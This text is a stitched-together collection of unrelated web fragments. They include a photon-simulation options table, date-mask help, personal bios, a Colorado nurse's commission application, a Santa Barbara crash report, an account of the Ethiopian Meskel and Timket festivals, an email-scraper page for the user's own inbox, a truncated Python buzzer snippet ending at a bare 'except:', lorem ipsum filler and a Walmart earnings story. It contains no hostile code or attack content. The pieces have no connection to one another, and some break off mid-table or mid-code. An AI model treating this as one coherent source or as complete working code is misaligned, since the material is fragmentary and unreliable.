| Optional fields | |||
| exterior_refractive_index | Sets the refractive index outside of the simulation geometry. This affects how the photon packets reflect when they encounter a boundary element. | double [Nb ] | |
| Optional fields (lightsource) | |||
| lightsource_direction | Used to give a custom direction for a light source | double [Nb x 2 ] | |
| lightsource_direction_type |
|
cell [Nb] | |
| lightsource_irradiance | Sets the relative irradiance of the light source at each boundary element. (default=1) | double [Nb ] | |
| Optional fields (lightsource='gaussian') | |||
| lightsource_gaussian_sigma | Standard deviation ( \(\sigma\) ) for a Gaussian light directivity pattern for each edge | radians | cell [Nb] |
4: options
All fields are optional.
| Field name | Description | Unit | Type |
| frequency | (default=0) Frequency of intensity modulation | 1/s | double |
| phase0 | (default=0) Phase at the lightsource for frequency modulation | double | |
| seed | Random number generator seed (default={}) take seed from time | int64 | |
| photon_count | (default=1e6) Total number of photon packets | int64 | |
| disable_progressbar | (default=false) Set to true to disable progress bar | logical |
Output structure
1: solution
| Field name | Description | Unit | Element type [array size] |
| boundary_exitance | Exitance at each boundary element | W/mm2 | double [Nb = number of boundary elements in the system ] |
| element_fluence | Fluence at each element | W/mm2 | double [Ne = number of area elements in the system] |
| simulation_time | Total simulation time | seconds | |
| Optional fields (options.seed=0) | |||
| seed_used | The random number seed that was used | double | |
| Optional fields (multidimensional optical parameters) | |||
| grid_fluence | Fluence for two-dimensional optical parameters | W/mm2 | double |
Output description
The fluence is normalized so that that the integral of the exitance over the boundary 1 W when no photons are absorbed in the medium (i.e. \(\mu_a=0\)). This means the total power of a all light sources is in a single simulation is 1 W.


|
Display Mask: |
Invalid mask
The mask applied to the date in the input when it is blurred. Available masking tokens are
(January 30, 2008 as the example date): yy(08), yyyy(2008), M(1), MM(01), MMM(January),
NNN(Jan), d(30), dd(30), EE(Wednesday), E(Wed).
|
|
Edit Mask: |
Invalid mask
The mask applied to the date in the input when it is focussed. Available masking tokens are
(January 30, 2008 as the example date): yy(08), yyyy(2008), M(1), MM(01), MMM(January),
NNN(Jan), d(30), dd(30), EE(Wednesday), E(Wed).
|


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Bo Lopker
/blopker/
noun
Builds software to make life a little better.
BSc Mathematics, MSc Computer Science.
Learning how to be vulnerable on the internet. See:
totem
.
Space, bioinformatics, distributed systems and dancing like no one is watching.
See also:
GitHub
,
Linkedin
,
My source code
,


---
layout: default
title: Accueil
---
{% comment %}
JSON-LD for:
- Site name: https://developers.google.com/search/docs/data-types/sitename
- Site links searchbox: https://developers.google.com/search/docs/data-types/sitelinks-searchbox
- Social Profile Links: https://developers.google.com/search/docs/data-types/social-profile-links
{% endcomment %}
{% for post in site.posts limit:10 %}
{% include_cached post-abstract.html page=post level=2 %}
{% endfor %}


I was born and raised in a small town in southern Maine. I graduated with a high school class of just under 200 students. I've attended the University of Maine since 2015.


Anne Eckstein
Unafffiliated
I am a registered nurse and have been employed at Boulder Community Hospital since 1993. I have worked in the ICU, Education, Case Management and am currently in the outpatient cardiology clinic.
I have a BS in Nutrition and a BSN in Nursing. I am BLS and ACLS certified.
80303
I have been an unaffiliated voter since 2011, I have voted for Democrats and the Green Party in the past. I made a one time donation to Trish Zornio for her senate run and am a regular donor to the Southern Poverty Law Center.
I currently volunteer with Tru Hospice at the thrift store with my 15 year old daughter. I have been an Ignite volunteer for 2 years which is a program for disabled skiers and veterans at Eldora.
I have not been involved in any organizations other than the volunteering listed above.
I moved to Colorado in 1988 after graduating from college and finally felt like I had arrived "home." This state is full of natural beauty and I am constantly discovering new areas of that fill me with joy and gratitude that I live here. I want a chance to give back to the state and the people here who I see as mostly independent thinkers who can see multiple views on a variety of issues. The Colorado population has increased so much since I arrived that I want to help current and future Coloradans have their opinions heard.
As a nurse I have patients and co-workers who are of all political persuasions. When the focus is someone's health it doesn't matter what political party he/she belongs to, the goal is still the same. The ability to listen, to accept people where they are in that moment but to also work towards a common goal is something I have developed during my time in the hospital as well as the outpatient setting.
Critical thinking is essential to nursing and evidence based practice is the foundation of good health care. With the information available to people online, being able to look at information and see if it is based in fact or opinion is crucial.
female


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Motorcyclist Collides with Horse Trailer
by Edhat Staff(SBCFD photo)
By edhat staff
The Santa Barbara County Fire Department responded to a collision between a motorcyclist and a horse trailer on Sunday afternoon.
At 12:32 p.m., fire crews arrived in the 1900 block of N. Refugio Road in the Santa Ynez Valley. They discovered a motorcyclist, a male in his 20's, suffered critical injuries after colliding with the horse trailer that was being towed.
The patient was flown to Santa Barbara Cottage Hospital via Calstar7.
California Highway Patrol is investigating the collision.


Meskel
Meskel, one of the major Ethiopian Orthodox festivals is celebrated for two days beginning September 26th. Legend has it that in the year 326, Queen Helena
(Empress Helen) the Mother of Constantine the Great, discovered the cross upon which Christ was crucified. Unable to find the Holy Sepulchre, she prayed
for help and was directed by the smoke from a burning fire as to where the cross was buried. After unearthing the Holy Cross, Queen Helena lit torches
heralding her success. In the Middle Ages, the Patriarchof Alexandria gave the Ethiopian Emperor Dawit half of the True Cross in return for protection
afforded to the Coptic Christians. A fragment of the True Cross is reputedly heldat the Gishen Mariam, about 70 kilometers northwest of Dessie.
Ethiopians have been celebrating this day for millennium. There are two occasions on Meskel. The first is Demera (September 26), in which bonfires are
built topped by a cross to which flowers are tied. The flowers are Meskel Daisies.The Patriarch of the Ethiopian Orthodox Church orchestrates the
lightening ceremony. After the bonfires are blessed they are lit and dancing and singing begins around them. Priestsin full ceremonial dress sing around
the bonfire. Little Demera are also built at individual houses or villages. After some time, splinters from the bundles of burning wood collapse. Which
direction they fall is very significant: north, south, east or west Interpretations are soon conjectured as to whether the fields of grain are going to
be plentiful or not, or there is peace all year round, etc. At the closing of the Demera, a rain shower is expected to fall to help put the fire out.
If the rain falls and the fire is extinguished, there is a belief that the year will be prosperous. The day after the Demera is Meskel. This day is
observed with plenty of food and drink as believers go to the spot of the Demera and, using ashes from the fire, mark their heads with the sign of
the cross. The festival coincides with the mass blooming of the golden yellow Meskel daisies. The best place to see the Meskel Festival is in the
capital Addis Ababa at the famous Meskel Square. But all along the Historic route (Bahir Dar, Gonder, Axum, and Lalibela) and in other major towns,
Meskel is colorfully celebrated.
Timket
Celebrating the Baptism of Christ, every January 19th (January 20 during leap year), Timkat is the greatest colorful festival of Orthodox Christians in Ethiopia.
It celebrates the Baptism of Christ by John the Baptist. The eve of Timket is called Ketera. This is when the Tabots of each church are carried out in
procession to a river or pool of water where the next day's celebration will take place. A special tent is set up where each Tabot rests as members of the
church choirs chant hymns. This is accompanied by a special dance by the priests with their prayer sticks and sistera, the beating of drums, ringing of bells,
and blowing of trumpets. The Tabot symbolizes the Ark of the Covenant and the tablets of the Law, which Moses received on Mount Sinai. It is the Tabot rather
than the church building, which is consecrated, and it is accorded extreme reverence. When the Tabot is carried out, it is wrapped in brocade or velvet
"like the mantle of Christ" and carried on the head of a priest with colorful ceremonial umbrellas shading it. The priests pray throughout the night and mass
is performed about 2:00 am the next day. Near dawn the people go to the water and attend the prayers. After the prayer, a senior priestuses a golden
processional cross to bless the water and extinguishes a burning consecrated candle in the water. Then he sprinkles the water on the assembled congregation
in commemoration of Christ's baptism. Many of the more fervent leap fully dressed into the water to renew their vows. The Timkat ceremony is merely a
commemoration, not an annual rebaptism. After the baptism, the Tabots of each church, except St. Michael's church, start their way back to their respective
churches. The elders march solemnly, accompanied by singing, leaping priests and young men, the beating of staffs and prayer sticks recalling the ancient rites
of the Old Testament (11 Sam.Chap.6) The next day, 20 Jan, is the feast of Michael the Archangel, Ethiopia's most popular saint. And it is only on this morning
that the Tabot of St. Michael’s is returned to his church, also accompanied by the singing and dancing of priests and locals with their colorful dress.
Thus endsthe three-day celebration, a unique ceremony of the Ethiopian Orthodox Church, which evolved in relative isolation from the rest of the world.
The best place to attend the event is Lalibela, Gonder or Addis Ababa. In Addis Ababa many tents are pitched in the grassy field at Jan Meda, to the
northeast of the city center. At 2:00am a massis attended by crowds who've brought picnics to enjoy by the light of oil lamps. At dawn the priest extinguishes
a candle burning on a pole setin a nearby river using a ceremonial cross. Some in the congregation leap into the river. The Tabots are then taken back to
the Churches in procession,accompanied by horsemen, while the festivities continue.


Exporting Survey Results Data
How to export the votes of registered users submitted to the Survey module. Results are saved as a csv (comma separated values) file.
-
- Select the Survey Settings tab.
- At Survey Results Data, click the Export Data link.
- Save the file to your computer as required.


I grew up in Chicago, IL, and decided to move to Cleveland to attent John Carroll University. At the time I had no idea what computer coding was. Through out my professional career, I kept finding myself falling into a coding. Until finally I decided to make the career move and join We Can Code it.
SkillsA type-safe object-oriented language that enables developers to build a variety of secure and robust applications that run on the .NET Framework.
Is the standard markup language for creating web pages and web applications.
Gives you a powerful, patterns-based way to build dynamic websites that enables a clean separation of concerns and that gives you full control over markup for enjoyable, agile development.
Is a special-purpose programming language designed for managing data held in a relational database management system (RDBMS), or for stream processing in a relational data stream management system (RDSMS).
I can be reached several different ways!
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Maasai Mara Game Reserve is located at the border of Kenya and Tanzania. Curently , it's the lagest National Reserve in the country. In relation to the variety of wild animals in the area with the big five included, approximately 5000 foreign and domestic visitors visits the Mara everyday. Statistics from the Kenyan national government and the county government of Narok shows that the game reserve is the most income generating tourist activity in the country.
Below are a list of other projects I have carried out:
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Welcome to emailScraper
Once you have authenticated, you can scrape your emails and view them
Allow up to 1 minute to scrape all your emails, depending on how full your inbox is.
Maximum emails that can be scraped is 500
Scraping will override your current emails


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By default, we"re using pin **1**, which corresponds to the exterior pin of the grove connector (aka SIG) and the wire is yellow.
debug("AnalogSensor init")
self.value = 0
self.freq = 24000
self._max_value = 4096
try:
AnalogSensor.__init__(self, port, "OUTPUT", gpg, use_mutex)
self.set_pin(1)
self.set_descriptor("Buzzer")
self.power = 50
self.freq = 329
self.sound_off()
except:


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Lorem Ipsum has been the industry's standard dummy text ever since the 1500s
Lorem Ipsum has been the industry's standard dummy text ever since the 1500s
Lorem Ipsum is simply dummy text of the printing and typesetting industry.
Lorem Ipsum has been the industry's standard dummy text ever since the 1500s
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Walmart surges heading into holidays
Walmart's stock has increased 29% so far this year
by Nathaniel Meyersohn, CNN Business(CNN) - Walmart notched another quarter of strong sales growth and raised its expectations for the holiday shopping season.
"We're prepared for a good holiday season," Walmart CEO Doug McMillon said in a statement Thursday.
Walmart, America's largest retailer, is a bellwether of consumer health and the retail sector. The company's upbeat results are a sign American consumers are confident heading into the holiday stretch.
During Walmart's most recent quarter, sales at Walmart stores in the United States open at least a year increased 3.2% compared with the same period a year ago. Walmart's digital sales during its most recent quarter grew 41%, led by online grocery pickups and deliveries. It was Walmart's best quarter of online sales this year.
The company also raised its guidance for the remainder of the year, reflecting its high expectations for the holidays.
"Walmart will again be one of the primary pacesetters," Moody's analyst Charlie O'Shea said.
In recent years, Walmart has successfully defended its stores against Amazon and rival retailers and pressed its advantage with middle- and lower-income shoppers across the country. Walmart has invested heavily in lowering prices, remodeling stores and expanding online.
Walmart's stock has increased 29% so far this year, outpacing the S&P 500. Walmart shares rose about 3% during pre-market trading Thursday.


description
Multi bar charts are useful to show
aggregated
and
unsorted
data with no connection between consecutive values, such as volumes for different quantities
min.js
docs
source